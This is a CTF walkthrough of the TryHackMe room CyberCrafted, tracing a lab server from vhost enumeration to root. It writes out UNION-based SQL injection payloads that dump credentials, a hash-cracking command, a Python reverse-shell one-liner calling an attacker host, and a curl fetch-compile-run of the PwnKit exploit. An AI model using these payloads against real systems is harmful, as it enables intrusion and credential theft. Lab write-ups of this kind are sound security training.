CyberCrafted is one of those TryHackMe rooms that hides its real difficulty behind a goofy premise. On paper it's just a Minecraft server you're supposed to root. In practice it's a small, well-built chain: a login form that turns out to be a dead end, a search field that isn't, and a privilege escalation path that has nothing to do with Minecraft at all. I went in expecting a straightforward web box and came out having second-guessed a filter that didn't even exist.
Finding the Front Door
Standard start: a full port scan across all 65535 ports instead of just the usual top-1000, since one of the interesting services here sits on a high, non-default port.
nmap -sV -sC -A -T4 -p- <IP>Three ports came back: SSH, an Apache server redirecting to cybercrafted.thm, and an actual Minecraft server on 25565. The redirect is a good sign that the server uses name-based virtual hosting - multiple sites behind one IP, distinguished by hostname. Once that hostname was in /etc/hosts, the page source revealed a developer comment mentioning that more subdomains had just been added. Cost nothing to check, and it saved a step.
Since directory brute-forcing only explores paths within one hostname, finding other hostnames on the same IP meant fuzzing the Host header instead:
ffuf -u http://cybercrafted.thm/ -H "Host: FUZZ.cybercrafted.thm" \
-w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0Every non-existent subdomain returned the same default vhost response, so filtering by response size (-fs 0) was what actually separated the noise from three real hosts: admin, store, and www.
A Login Page That Wasn't the Way In
admin.cybercrafted.thm had a Minecraft-styled admin login - the obvious first thing to try on any login form is SQL injection, on the theory that unescaped input could let a ' break out of the query's string literal. I tried a lone ', then a proper bypass payload (' OR '1'='1' -- -) meant to make the WHERE clause always match regardless of the real credentials. Both came back with an identical "incorrect username or password" redirect - a sign this form uses parameterized queries, where input is treated as pure data rather than spliced into SQL. Dead end, and a reminder that the most obvious target isn't always the vulnerable one.
The Search Field That Actually Was
store.cybercrafted.thm/ returned a 403 on its root path, but the vhost was clearly alive, so I brute-forced it for other files:
gobuster dir -u http://store.cybercrafted.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txtThat turned up /search.php, a plain item-search box. Same first test - a single ' - but this time the page's HTML broke outright (confirmed with diff against a clean baseline: the closing tags were missing). The query was crashing, meaning my input was reaching it unescaped.
From there, the standard UNION-based routine. A UNION SELECT needs to match the original query's column count, found by abusing ORDER BY's ability to sort by column position:
' ORDER BY 4-- - -- fine
' ORDER BY 5-- - -- breaksFour columns. Testing which ones actually render on the page:
' UNION SELECT 1,2,3,4-- -Columns two through four showed up in the output table; column one stayed hidden. From there, swapping in DATABASE() (MySQL's built-in for the current database name) instead of a placeholder number:
' UNION SELECT 1,DATABASE(),3,4-- -This one cost me more time than it should have - it crashed on the first try, and I spent a while convinced there was a keyword filter on DATABASE specifically, since VERSION() worked fine in the same spot. Turned out to be a typo in my own payload, nothing more interesting. Worth double-checking your own input before assuming the target is filtering you.
information_schema is MySQL's built-in metadata catalog - queryable like any normal table - which mapped out the rest:
' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=DATABASE()-- -
' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='admin'-- -Tables admin and stock, with id, user, and hash in admin. Final extraction, using GROUP_CONCAT to squeeze multiple rows into the single visible column I had to work with:
' UNION SELECT 1,GROUP_CONCAT(user,0x3a,hash SEPARATOR 0x0a),3,4 FROM admin-- -xXUltimateCreeperXx:88b949dd5cdfbecb9f2ecbbfa24e5974234e7c01
web_flag:THM{bbe315906038c3a62d9b195001f75008}Cracking the Hash and Getting Inside
40 hex characters, SHA1:
john --format=Raw-SHA1 --wordlist=/usr/share/wordlists/rockyou.txt hash.txtdiamond123456789 got me into admin.cybercrafted.thm/panel.php, which included a straightforward "run system commands" field - remote code execution with no webshell upload needed.
From www-data to Root
The panel's shell ran as www-data, so the next step was hunting for a way up. SUID binaries are a classic target: files that always execute with their owner's privileges regardless of who runs them, so a bug in a root-owned one can hand you root directly.
find / -perm -u=s -type f 2>/dev/null/usr/bin/pkexec, version 0.105 - unpatched against CVE-2021-4034 (PwnKit), CVSS 7.8, public exploit code available since 2022. (A ps aux check also showed the Minecraft server running as root inside a screen session - a second potential path, more on that below - but PwnKit was faster.)
Popped an interactive reverse shell from the panel:
nc -lvnp 6666python3 -c 'import pty,socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER_IP>",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'Then compiled and ran the PwnKit PoC:
mkdir /tmp/x && cd /tmp/x
curl -so poc.c http://<ATTACKER_IP>:8000/cve-2021-4034-poc.c
gcc poc.c -o poc
./pocuid=0(root) gid=0(root) groups=0(root),33(www-data)Root, user flag, and root flag all fell out from there:
| Flag | Value |
|---|---|
| Web Flag | THM{bbe315906038c3a62d9b195001f75008} |
| User Flag | THM{b4aa20aaf08f174473ab0325b24a45ca} |
| Root Flag | THM{8bb1eda065ceefb5795a245568350a70} |
The Plugin That Didn't Belong
/opt/minecraft/cybercrafted/plugins/ had a plugin called LoginSystem - not something vanilla Minecraft ships with, and a clear sign of custom, bolted-on logic. It turned out to be logging plaintext credentials, which it really shouldn't have been doing at all.
The Path I Didn't Take
If the low-privileged user had sudo rights over /usr/bin/screen -r, that would have been the intended way to root: any new window opened inside an existing screen session inherits that session's privileges, not the privileges of whoever opens it. Attaching to a root-owned session and opening a new window (Ctrl+A, then c) hands you root instantly, no exploit needed - just a sudoers entry that never should have listed a terminal multiplexer.
Closing Thoughts
Nothing here was individually exotic - a properly secured login next to a wide-open search field, a leaked hash next to a working admin panel, an unpatched SUID binary sitting there the whole time. What made it interesting was how many plausible-looking dead ends were built in on purpose, and how much enumeration discipline (plus double-checking my own typos) mattered more than any single exploit did.
I still owe this post its last piece - digging further into that LoginSystem plugin to get the actual Minecraft server flag rather than just root. I'll come back and fill that in once I've had a proper look.